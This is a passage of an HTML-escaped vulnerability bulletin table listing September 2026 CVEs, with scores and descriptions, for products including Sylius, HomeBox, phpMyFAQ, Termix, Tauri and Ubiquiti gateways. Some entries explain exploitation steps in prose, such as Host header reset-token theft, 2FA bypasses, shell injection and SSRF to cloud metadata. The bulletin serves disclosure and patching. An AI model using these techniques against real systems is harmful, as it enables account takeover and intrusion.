&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100676&quot; target=&quot;_blank&quot;&gt;CVE-2026-100676&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;stoatchat--stoatchat&lt;/td&gt;
&lt;td&gt;stoatchat before 0.15.5 fails to validate that MFA tickets belong to the authenticated user, allowing attackers to bypass MFA by using their own valid ticket with another user&#039;s session token. Attackers can obtain a ticket from their own account and use it with a victim&#039;s session token to disable TOTP, view recovery codes, or perform other sensitive operations without providing the victim&#039;s credentials.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100679&quot; target=&quot;_blank&quot;&gt;CVE-2026-100679&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Syed Balkhi--Easy Digital Downloads&lt;/td&gt;
&lt;td&gt;Shop manager SQL Injection in Easy Digital Downloads &amp;lt;= 3.7.0 versions.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95522&quot; target=&quot;_blank&quot;&gt;CVE-2026-95522&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Sylius--Sylius&lt;/td&gt;
&lt;td&gt;Sylius versions before 1.12.25, 1.13.17, 1.14.20, 2.1.16, and 2.2.9 build administrator password-reset links using the request Host header without validation, allowing unauthenticated attackers to redirect reset tokens to attacker-controlled domains. Attackers can request password resets for known administrator email addresses with forged Host headers to intercept valid reset tokens and take over administrator accounts.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100870&quot; target=&quot;_blank&quot;&gt;CVE-2026-100870&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Sylius--Sylius&lt;/td&gt;
&lt;td&gt;Sylius versions before 1.12.25, 1.13.17, 1.14.20, 2.1.16, and 2.2.9 fail to include firewall identification in JWT tokens issued by separate Admin and Shop API endpoints. Attackers can register a shop customer account using an administrator&#039;s email address and obtain a token that the Admin API resolves to that administrator, granting full administrative access.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100871&quot; target=&quot;_blank&quot;&gt;CVE-2026-100871&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Sylius--Sylius&lt;/td&gt;
&lt;td&gt;Sylius versions before 2.1.16 and 2.2.9 fail to validate payment amounts during cart recalculation, allowing unauthenticated attackers to modify order totals after gateway transaction initiation. Attackers can pay a small amount, enlarge the order after gateway capture, and have the system mark the inflated order as fully paid while the gateway captured only the original amount.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100872&quot; target=&quot;_blank&quot;&gt;CVE-2026-100872&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Sync-in--server&lt;/td&gt;
&lt;td&gt;Sync-in Server is an open-source platform for file storage, sharing, collaboration, and syncing. Prior to version 2.4.0, `POST /api/auth/token` authenticates with username and password only, then calls `getTokens()`, which returns full access and refresh JWTs without checking whether the account has TOTP 2FA enabled. An attacker with stolen or phished credentials can bypass 2FA in a single request. The parallel login endpoint (`POST /api/auth/login`) correctly enforces 2FA by calling `setCookies(user, res, true)`, which gates on `user.twoFaEnabled`. Version 2.4.0 patches the issue.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58269&quot; target=&quot;_blank&quot;&gt;CVE-2026-58269&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sysadminsmedia--homebox&lt;/td&gt;
&lt;td&gt;HomeBox is a home inventory and organization system. Prior to 0.26.0, HandleWipeInventory in backend/app/api/handlers/v1/v1_ctrl_actions.go authorizes POST /v1/actions/wipe-inventory through the global ctx.User.IsOwner value instead of the caller&#039;s role in the active group, while the active group is selected through the X-Tenant request header. Because every self-registered user who creates a group receives the global owner value, a user who is also a member of another group can select that group with X-Tenant and permanently delete its complete inventory, which is not recoverable without external backups. This issue is fixed in version 0.26.0.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-48826&quot; target=&quot;_blank&quot;&gt;CVE-2026-48826&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sysadminsmedia--homebox&lt;/td&gt;
&lt;td&gt;HomeBox is a home inventory and organization system. Prior to 0.26.0, MaintenanceEntryRepository.Update and MaintenanceEntryRepository.Delete in backend/internal/data/repo/repo_maintenance_entry.go use UpdateOneID(id) and DeleteOneID(id) without verifying that the maintenance entry belongs to the authenticated user&#039;s active group. An authenticated low-privileged user who knows or enumerates another tenant&#039;s maintenance-entry UUID can overwrite that record or permanently delete it. This issue is fixed in version 0.26.0.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-48975&quot; target=&quot;_blank&quot;&gt;CVE-2026-48975&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sysadminsmedia--homebox&lt;/td&gt;
&lt;td&gt;HomeBox is a home inventory and organization system. Prior to 0.26.0, NotifierRepository.Update in backend/internal/data/repo/repo_notifier.go updates a notifier through UpdateOneID(id) without requiring the record&#039;s user ID to match the authenticated user. An authenticated user who supplies another tenant&#039;s notifier UUID to PUT /v1/notifiers/{id} can read the returned stored url, which may contain plaintext Shoutrrr credentials for Slack, SMTP, Telegram, Pushover, or Discord, and can replace the URL to redirect the victim&#039;s notifications to an attacker-controlled webhook. This issue is fixed in version 0.26.0.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-48976&quot; target=&quot;_blank&quot;&gt;CVE-2026-48976&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;tainacan--Tainacan&lt;/td&gt;
&lt;td&gt;Subscriber SQL Injection in Tainacan &amp;lt;= 1.2.0 versions.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95590&quot; target=&quot;_blank&quot;&gt;CVE-2026-95590&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Tangible--Loops &amp;amp; Logic&lt;/td&gt;
&lt;td&gt;Unauthenticated Broken Access Control in Loops &amp;amp; Logic &amp;lt;= 4.2.4 versions.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95604&quot; target=&quot;_blank&quot;&gt;CVE-2026-95604&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Tauri--tauri&lt;/td&gt;
&lt;td&gt;Tauri&#039;s Content Security Policy hardening, which injects a random nonce to restrict script execution, provides zero protection when an application includes data: or blob: in its script-src directive. Per the CSP Level 3 specification, these scheme sources remain active even when a nonce is present, allowing arbitrary script execution without knowing the nonce.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;8.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95626&quot; target=&quot;_blank&quot;&gt;CVE-2026-95626&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Tauri--tauri-plugin-dialog&lt;/td&gt;
&lt;td&gt;When a Tauri application uses the dialog plugin&#039;s file or folder picker, an attacker with JavaScript execution (XSS) can force the scope expansion to be recursive, granting read/write access to an entire directory tree after a single user click on a normal-looking OS file dialog. The user has no indication that recursive access was granted, and the expanded scope cannot be revoked for the lifetime of the application.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95627&quot; target=&quot;_blank&quot;&gt;CVE-2026-95627&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;TBTAK ULAKBM--UlakPDF&lt;/td&gt;
&lt;td&gt;Incorrect Authorization vulnerability in TÃœBÄ°TAK ULAKBÄ°M UlakPDF allows Authentication Bypass. This issue affects UlakPDF: through 09092026.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88907&quot; target=&quot;_blank&quot;&gt;CVE-2026-88907&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Telegram--Telegram Desktop&lt;/td&gt;
&lt;td&gt;Telegram Desktop before 6.9.4 allows XSS in the HTML exporter. (The first fixed stable version is 7.0.1.) This occurs in button.text.toUtf8 in export_output_html.cpp. Exploitation cannot occur unless HTML export was used by a victim. However, the exploit payload can be exported if a message were forwarded into a group by a member (it is not necessary for the message author to be a member of a group).&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94488&quot; target=&quot;_blank&quot;&gt;CVE-2026-94488&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Termix-SSH--Termix&lt;/td&gt;
&lt;td&gt;Termix is a web-based server management platform with SSH terminal, tunneling, and file editing capabilities. From 2.4.1 until 2.5.1, an authenticated Termix administrator can store attacker-controlled domain and email values through PATCH /users/acme-ssl-settings and trigger their interpolation into a certbot shell command through POST /users/acme-ssl-request. In src/backend/database/routes/acme-ssl-routes.ts, child_process.execSync invokes /bin/sh -c with those values only wrapped in double quotes, so shell metacharacters can execute arbitrary operating-system commands as the Termix backend process. Both HTTP webroot and DNS Cloudflare challenge modes are affected, and compromise exposes Termix databases, process secrets, stored credentials, and network reachability. This issue is fixed in version 2.5.1.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79766&quot; target=&quot;_blank&quot;&gt;CVE-2026-79766&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Termix-SSH--Termix&lt;/td&gt;
&lt;td&gt;Termix is a web-based server management platform with SSH terminal, tunneling, and file editing capabilities. From 2.5.0 until 2.5.1, the /homepage/proxy endpoint accepts an authenticated user&#039;s url query parameter and passes it to http.get or https.get without destination restrictions. In src/backend/database/routes/homepage-proxy-routes.ts, new URL performs only syntactic validation, allowing requests to loopback, RFC1918, link-local, and cloud metadata destinations. The endpoint returns the complete fetched JSON response, so a low-privilege or self-registered account can exfiltrate internal service data and cloud credentials. This issue is fixed in version 2.5.1.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79764&quot; target=&quot;_blank&quot;&gt;CVE-2026-79764&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;The Browser Company of New York--Arc&lt;/td&gt;
&lt;td&gt;An address bar spoofing issue in affected versions of Arc could allow an attacker to spoof the browser address bar via a &amp;lt;select&amp;gt; element that triggers requestFullscreen without displaying the fullscreen notification.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94181&quot; target=&quot;_blank&quot;&gt;CVE-2026-94181&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;The Browser Company of New York--Arc Search&lt;/td&gt;
&lt;td&gt;Arc Search for Android before version 1.12.10 does not display a fullscreen notification when a page enters fullscreen mode while the app is running in the background. A remote attacker can exploit this via a specially crafted website to render fake UI elements, such as a spoofed address bar, misleading the user about the origin of displayed content and increasing the risk of phishing.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94183&quot; target=&quot;_blank&quot;&gt;CVE-2026-94183&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;themefic--Ultra Addons for Contact Form 7&lt;/td&gt;
&lt;td&gt;The Ultra Addons for Contact Form 7 plugin for WordPress is vulnerable to Arbitrary File Upload due to insufficient file type validation in the &#039;uacf7_wpcf7_mail_components&#039; function in all versions up to, and including, 3.5.50. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site&#039;s server which may make remote code execution possible. Note: This is only exploitable when the plugin&#039;s PDF Generator module is enabled, which is disabled by default.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82901&quot; target=&quot;_blank&quot;&gt;CVE-2026-82901&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;themifyme--Themify Builder&lt;/td&gt;
&lt;td&gt;The Themify Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via &#039;css[fonts]&#039; Parameter in all versions up to, and including, 7.8.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The nonce required to reach the vulnerable endpoint is embedded in plain sight within the front-end page markup for all visitors, reducing the access control to a CSRF token rather than an authentication barrier and making the endpoint fully exploitable by unauthenticated attackers.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95864&quot; target=&quot;_blank&quot;&gt;CVE-2026-95864&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;thorsten--phpMyFAQ&lt;/td&gt;
&lt;td&gt;phpMyFAQ is an open source FAQ web application. A stored cross-site scripting (XSS) vulnerability in versions prior to 4.2.0-alpha allows any unauthenticated user (or low-privileged registered user) to inject arbitrary JavaScript that executes in an administrator&#039;s browser when they review or edit a user-submitted FAQ entry. This leads to admin account takeover via session theft. The vulnerability exists because `html_entity_decode()` converts HTML entities into executable HTML after `strip_tags()` has already passed them through, and the admin template renders the content with Twig&#039;s `|raw` filter without any output sanitization. Version 4.2.0-alpha fixes the issue.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56736&quot; target=&quot;_blank&quot;&gt;CVE-2026-56736&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;thorsten--phpMyFAQ&lt;/td&gt;
&lt;td&gt;phpMyFAQ is an open source FAQ web application. Versions 3.2.0 through 4.1.5 contain an authentication bypass in its public two-factor authentication verification flow: an unauthenticated attacker can submit an account&#039;s numeric user ID and a valid or brute-forced six-digit TOTP code without first authenticating with the account password, allowing takeover of any 2FA-enabled account, including administrator accounts. Version 4.1.6 is patched by binding TOTP verification to a session established after successful password authentication and limiting failed TOTP attempts. No official workaround is documented; affected installations should upgrade to 4.1.6 or later.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56737&quot; target=&quot;_blank&quot;&gt;CVE-2026-56737&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;tinyauthapp--tinyauth&lt;/td&gt;
&lt;td&gt;Tinyauth is an authentication and authorization server. Prior to 5.1.2, Tinyauth compares forwarded hostnames case-sensitively while reverse proxies route equivalent hostnames case-insensitively, allowing an authenticated low-privilege user to bypass per-app access controls with a differently cased hostname. The lookup in internal/service/access_controls_service.go through lookupStaticACLs and GetAccessControls, and the Docker-label fallback in internal/service/docker_service.go through GetLabels, can miss the configured app and return an empty access-control object. internal/controller/proxy_controller.go proxyHandler then treats the empty user, group, OAuth, LDAP, and IP restrictions as permissive and returns an authenticated result for an app that should exclude the user. Unauthenticated users remain subject to login, and global login-time allowlists are not bypassed. This issue is fixed in version 5.1.2.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77560&quot; target=&quot;_blank&quot;&gt;CVE-2026-77560&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;tobychui--zoraxy&lt;/td&gt;
&lt;td&gt;Zoraxy versions 3.2.3 through 3.3.4 fail to properly parse IPv6 addresses in the RemoteAddr field when setting forwarded headers. Unauthenticated attackers connecting over IPv6 can supply arbitrary X-Forwarded-For values to spoof their source IP and bypass authorization provider IP-based access controls.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100390&quot; target=&quot;_blank&quot;&gt;CVE-2026-100390&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;travispluse--Rename wp-login.php to anything you want&lt;/td&gt;
&lt;td&gt;The Rename wp-login.php to anything you want plugin for WordPress is vulnerable to time-based SQL Injection via &#039;log&#039; (Username) Parameter in all versions up to, and including, 2.0.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. WordPress core applies wp_unslash() to the &#039;log&#039; POST value before dispatching the wp_login_failed action, stripping magic-quotes backslash escaping and allowing a raw single quote to reach the plugin&#039;s handler unimpeded.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93368&quot; target=&quot;_blank&quot;&gt;CVE-2026-93368&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Trusted Domain Project--OpenDKIM&lt;/td&gt;
&lt;td&gt;A weakness has been identified in Trusted Domain Project OpenDKIM up to 2.11.0. This affects the function dkim_canon_selecthdrs of the file libopendkim/dkim-canon.c of the component DKIM Signature Header Selection. Executing a manipulation of the argument h can lead to out-of-bounds write. The attack can be executed remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100888&quot; target=&quot;_blank&quot;&gt;CVE-2026-100888&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Trusted Domain Project--OpenDKIM&lt;/td&gt;
&lt;td&gt;A vulnerability was detected in Trusted Domain Project OpenDKIM up to 2.11.0. Affected is the function dkim_qp_decode of the file util.c of the component Decoder. The manipulation results in off-by-one. The attack may be performed from remote. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100889&quot; target=&quot;_blank&quot;&gt;CVE-2026-100889&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;tw93--Pake&lt;/td&gt;
&lt;td&gt;Pake turns a website into a desktop application built on Tauri. Every application it generates inherits two settings from the upstream template, and together they hand native functionality to untrusted web content. The first is in src-tauri/capabilities/default.json, which grants IPC access with &quot;remote&quot;: { &quot;urls&quot;: [&quot;https://*.*&quot;] }. That wildcard tells Tauri to accept IPC from any HTTPS origin, not just the site the application was built to wrap. The second is &quot;withGlobalTauri&quot;: true in src-tauri/tauri.conf.json, which puts window.__TAURI__.core.invoke() in reach of ordinary page JavaScript. Tauri&#039;s access control list only checks plugin commands, the ones prefixed with plugin:. Commands the application registers itself through generate_handler!, known as app commands, are never checked against the ACL. So once an origin holds IPC access, it can call every app command with nothing else standing in the way. Pake registers download_file as an app command, and it does not appear in the permissions list because it does not need to. The practical effect is that any script running on any HTTPS page inside a Pake application can invoke the application&#039;s native commands. That includes third-party script the wrapped site loads on its own, such as analytics, advertising, or a compromised CDN. Anyone distributing their own Pake application gets the same access without asking for it. Chained with the path traversal in download_file that is tracked separately as CVE-2026-82635, this reaches arbitrary file write and persistent code execution.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96454&quot; target=&quot;_blank&quot;&gt;CVE-2026-96454&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;typelevel--jawn&lt;/td&gt;
&lt;td&gt;Jawn is an open source JSON parser. Prior to 1.7.0, Jawn parse methods accept arbitrarily deep JSON array and object nesting without a depth limit, allowing a remote attacker who can submit untrusted JSON to grow parser contexts until the JVM heap is exhausted. The resulting java.lang.OutOfMemoryError is a fatal Scala error that is not ordinarily handled by scala.util.Try or cats.effect.IO, causing denial of service. This issue is fixed in version 1.7.0.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-59990&quot; target=&quot;_blank&quot;&gt;CVE-2026-59990&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;typelevel--jawn&lt;/td&gt;
&lt;td&gt;Jawn is an open source JSON parser. Prior to 1.7.0, Jawn&#039;s AsyncParser can perform quadratic work when a single JSON token is delivered across many small chunks because each absorb call rescans the incomplete token from the start. A remote attacker who controls untrusted JSON input and its chunk sizes can exhaust CPU resources and cause denial of service in applications using AsyncParser. This issue is fixed in version 1.7.0.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61814&quot; target=&quot;_blank&quot;&gt;CVE-2026-61814&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Ubiquiti Inc--Dream Machines&lt;/td&gt;
&lt;td&gt;A malicious actor with access to the network could exploit an Out-of-bounds Write vulnerability found in certain UniFi gateway devices to execute a Denial of Service (DoS) attack on the device.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77544&quot; target=&quot;_blank&quot;&gt;CVE-2026-77544&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Ubiquiti Inc--Dream Machines&lt;/td&gt;
&lt;td&gt;A malicious actor with access to the network could exploit an Out-of-bounds Write vulnerability found in certain UniFi gateway devices to execute a Denial of Service (DoS) attack on the device.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77555&quot; target=&quot;_blank&quot;&gt;CVE-2026-77555&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Ubiquiti Inc--Dream Machines&lt;/td&gt;
&lt;td&gt;A malicious actor with access to the network could exploit an Out-of-bounds Read vulnerability found in certain UniFi gateway devices to execute a Denial of Service (DoS) attack on the device.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77556&quot; target=&quot;_blank&quot;&gt;CVE-2026-77556&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Ubiquiti Inc--Dream Machines&lt;/td&gt;
&lt;td&gt;A malicious actor with access to the network could exploit an Out-of-bounds Read vulnerability found in certain UniFi gateway devices to execute a Denial of Service (DoS) attack on the device.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77558&quot; target=&quot;_blank&quot;&gt;CVE-2026-77558&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Ubiquiti Inc--Dream Machines&lt;/td&gt;
&lt;td&gt;A malicious actor with access to the network could exploit an Uncontrolled Recursion vulnerability found in certain UniFi gateway devices to execute a Denial of Service (DoS) attack on the device.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95861&quot; target=&quot;_blank&quot;&gt;CVE-2026-95861&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Ubiquiti Inc--Dream Machines&lt;/td&gt;
&lt;td&gt;A malicious actor with access to the network could exploit an Out-of-bounds Write vulnerability found in certain UniFi gateway devices to execute a Denial of Service (DoS) attack on the device.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95862&quot; target=&quot;_blank&quot;&gt;CVE-2026-95862&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;universal-tool-calling-protocol--python-utcp&lt;/td&gt;
&lt;td&gt;python-utcp versions before 1.1.4 contain a server-side request forgery vulnerability in HttpCommunicationProtocol.call_tool that validates the initial tool URL but follows HTTP redirects without re-validating the target. Attackers controlling a tool endpoint can return a 302 redirect to internal services, allowing the UTCP client to reach cloud metadata endpoints or internal HTTP services and return their response bodies to the caller.&lt;/td&gt;
